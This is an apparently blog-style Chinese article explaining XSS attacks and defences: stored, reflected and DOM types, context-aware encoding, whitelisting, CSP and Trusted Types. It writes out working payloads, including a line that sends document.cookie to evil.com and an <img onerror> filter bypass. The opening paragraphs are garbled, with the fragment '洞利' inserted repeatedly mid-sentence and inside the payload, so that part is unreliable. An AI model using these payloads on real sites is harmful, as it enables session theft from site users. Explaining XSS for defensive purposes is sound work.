XSS漏洞利用

攻击者往你的洞利网页里塞了一段脚本，然后你的洞利用户就成了他的提线木偶。这事每天发生在成千上万个网站上，洞利多数站长直到数据被拖走才反应过来。洞利

XSS全称跨站脚本攻击，洞利本质是洞利浏览器把用户输入当成了代码执行。比如评论区有个输入框，洞利你打<script>alert(1)</script>提交，洞利如果网站没过滤，洞利这段代码就存进数据库了。洞利下个用户打开页面，洞利脚本跟着HTML一起渲染——弹窗只是洞利最温和的演示，换成document.location='http://evil.com?洞利cookie='+document.cookie，你的洞利登录凭证就飞到了别人服务器上。

我见过最讽刺的洞利案例是某安全论坛的私信功能。安全研究者想测试漏洞，结果发现站方连基础转义都没做。他发了一条包含恶意脚本的私信给管理员，管理员一打开后台，整个会话令牌直接暴露。这就像锁匠家门锁被同行用橡皮泥捅开，面子上挂不住。

存储型XSS最危险，因为攻击代码永久驻留。反射型稍微好点，需要诱骗用户点击构造好的URL，比如http://example.com/search?q=，但配合短链接和钓鱼话术，照样能骗到人。DOM型更隐蔽，它不经过服务器，纯前端操作URL参数触发，WAF根本看不见。

很多人觉得输出编码就万事大吉，但上下文不同编码规则全变。HTML标签里、属性里、JavaScript字符串里，转义方式完全不一样。你防住了<script>，攻击者改用<img src=x onerror=alert(1)>，或者用javascript:alert(1)这种混淆写法，照样能绕过。

真正有效的防御思路是“默认不安全”。用户输入一律当不可信数据，输出到哪个上下文就用对应的编码函数。白名单比黑名单可靠，富文本过滤要基于白标签和白属性，别想着屏蔽危险词。CSP（内容安全策略）能兜底，限制脚本执行来源，就算注入成功也跑不起来。

浏览器XSS过滤器曾经被寄予厚望，后来发现可被绕过甚至被利用来影响页面正常功能。Chrome干脆放弃了XSS Auditor，改推CSP和Trusted Types。这行业就是这样，没有银弹，只有层层设防。

最要命的是业务逻辑型XSS。有个电商网站把商品价格放在隐藏字段里，攻击者通过XSS改掉价格参数，下单时后端没校验，结果用一分钱买了台电视。这种漏洞没法靠通用过滤解决，得靠后端对关键操作二次校验。

写代码时多问一句“这个输入输出到哪了”，比什么安全培训都管用。你不需要记住所有绕过姿势，但得明白浏览器解析HTML、CSS、JS的规则有多复杂。一个引号没转义，一个事件属性没禁用，都可能成为突破口。

XSS不是高深技术，它考验的是开发者有没有把用户输入当敌人。哪天你看到自己的页面弹出了alert框，别急着高兴——那可能是攻击者在跟你打招呼。